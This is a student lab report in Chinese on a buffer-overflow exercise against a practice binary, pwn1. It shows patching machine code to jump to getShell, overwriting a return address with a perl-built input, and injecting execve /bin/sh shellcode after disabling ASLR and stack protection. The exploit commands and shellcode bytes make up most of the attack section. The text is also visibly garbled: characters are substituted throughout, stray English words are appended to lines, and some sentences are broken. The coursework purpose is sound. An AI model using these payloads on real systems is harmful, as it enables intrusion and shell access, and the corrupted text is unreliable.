1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码html
经过反汇编指令objdump -d 20155312zjy
查看可执行文件20155312zjy的反汇编代码和对应的机器码,以下图所示:shell
咱们不难发现:编程
想要了解其余指令的机器码,能够参考汇编指令和机器码的对应表vim
2.掌握反汇编与十六进制编程器sass
-d
参数是-D
参数,但它反汇编全部section。
| more
,这样咱们就能够利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)vi 20155312zjy
查看可执行文件内容,发现大部分是咱们无法理解的乱码;:%!xxd
将显示模式切换为16进制模式;:%!xxd -r
转换16进制为原格式。3.能正确修改机器指令改变程序执行流程bash
见实验步骤及结果第一部分dom
4.能正确构造payload进行bof攻击编辑器
返回目录工具
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
objdump -d 20155312zjy
指令查看可执行文件20155312zjy(pwn1的副本)的反汇编结果;80484b5: e8 d7 ff ff ff call 8048491 <foo>
0804847d
和foo函数的地址08048491
,能够发现两地址之差为十六进制“14”;vi 20155312
;:%!xxd
;/e8d7
查找须要修改的内容;:%!xxd -r
;至此完成了修改机器指令改变程序执行的流程。
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
实验步骤以下:
1.分析代码,发现foo函数存在Buffer overflow漏洞
2.foo函数中读入字符串,但系统只预留了32字节的缓冲区,超出部分会形成溢出,咱们的目标是覆盖返回地址;
3.正常状况下call调用foo,同时在堆栈上压上返回地址值:0x80484ba;
4.确认输入字符串哪几个字符会覆盖到返回地址;
5.用gdb调试程序,输入有规律的字符串如“1111111122222222333333334444444412345678”
6.缓冲区溢出,程序中止执行,堆栈保持当前状态;
7.用info r
查看寄存器eip的值,看输入的哪一个字节覆盖了它,锁定“1234”这四个字节;
8.因为1234 那四个数最终会覆盖到堆栈上的返回地址,因此咱们要用getshell的地址0x0804847d
替换它;
9.因为数据的小端方式存储,咱们要在32字节后输入\x7d\x84\x04\x08
这四个字节来覆盖返回地址为getshell的地址;
10.输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将字符串用perl脚本语言写入input文件;
11.用xxd input
以16进制显示input文件,检查写入地址的正误;
12.确认无误后用(cat input;cat) | ./20155312zjy2
来将改字符串做为可执行文件的输入。
3、注入一个本身制做的shellcode并运行这段shellcode
1.准备工做:用execstack -s pwn1
设置堆栈可执行;
2.execstack -q pwn1
查询文件的堆栈是否可执行;
3.more /proc/sys/kernel/randomize\_va\_space 2
4.echo "0" > /proc/sys/kernel/randomize\_va\_space
关闭地址随机化;
5.more /proc/sys/kernel/randomize\_va\_space 0
6.完成准备工做,咱们要明确本身的目的是将shellcode代码写入buffer(缓冲区足够大),或把shellcode放在返回地址后(缓冲区小),把返回地址改成buffer的首地址;
7.打开终端让可执行文件20155312zjy2在运行状态,再开一个终端;
8.用ps -ef | grep 20155312zjy2
来显示与20155312zjy2有关的进程列表,从而肯定正在执行的进程的进程号2195;
9.用gdb调试程序;
10.用attach 2195
与进程创建链接;
11.用info r
查看寄存器的值,其实此时咱们能够经过栈顶的地址计算出buffer的首地址,咱们先不算,继续后续操做;
12.用disassemble foo
反汇编foo函数
13.用break *0x080484a5
在输入后输出前设置断点;
14.c
即continue继续
15.运行程序的一段输入字符串,如12345678,为了肯定buffer的首地址,咱们只须要找到“1”这个字节的地址便可;
16.用info r
查看esp栈顶指针的地址;
17.用x/16x 0xffecafc0
以16进制查看esp寄存器地址开头的内存中的值;
18.找到buffer在堆栈中的位置,计算出地址为0xffecafdc
;
19.若是咱们要在返回地址前注入,就须要用perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xdc\xaf\xec\xff\x00"' > input_shellcode
这个语句,返回地址对应其中的“\xdc\xaf\xec\xff”,shellcode代码为“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”;
20.接着用一样的方法将input_shellcode文件中的内容做为20155312zjy2这个文件执行时的输入便可。
至此,完成了构造payload进行bof攻击。
./pwn1
执行pwn1会出现[ bash: ./pwn1:没有那个文件或目录]的提示,可是ls命令又能看到存在pwn1文件。①修改更新源sources.list
/etc/apt/sources.list
文件\#阿里云kali源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free \#中科大kali源 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
apt-get clean apt-get update apt-get upgrade
②安装32位运行库
apt-get install lib32ncurses5
运行后会等待一会会出现以下提示界面,这时按一下回车就行了:
apt-get upgrade
时提示“有未能知足的依赖关系”apt --fix-broken install
便可,以下图所示,待执行完毕进行后续操做便可。1.个人收获
第一次动手修改机器码,应用了上学期深刻理解计算机系统中Y86-64指令集体系结构中的相关知识,发现知识的相关性很容易帮助咱们理解更多的内容;第一次动手实现缓冲区溢出攻击,终于理解了堆栈是这么被恶意代码覆盖的,覆盖后是怎么实现跳转的,跳转后是怎么执行的。
2.什么是漏洞?漏洞有什么危害?
经过此次实验,我发现缓冲区溢出漏洞是在程序设计时,因为没有考虑到输入超出栈分配的空间的状况,被攻击者利用形成的,这些漏洞可能一方面与程序设计有关,一方面还与计算机自己的设置和属性有关,好比要想构造payload进行bof攻击,必须提早更改相关设置,让堆栈中的代码可执行,这也能够体现出计算机设置不足也会给攻击者提供机会。危害很大,被攻击的计算机可能会进入命令行模式,从而攻击者能够对文件进行任意的操做,也可能会执行相关的恶意代码,为木马植入、后门设置提供条件。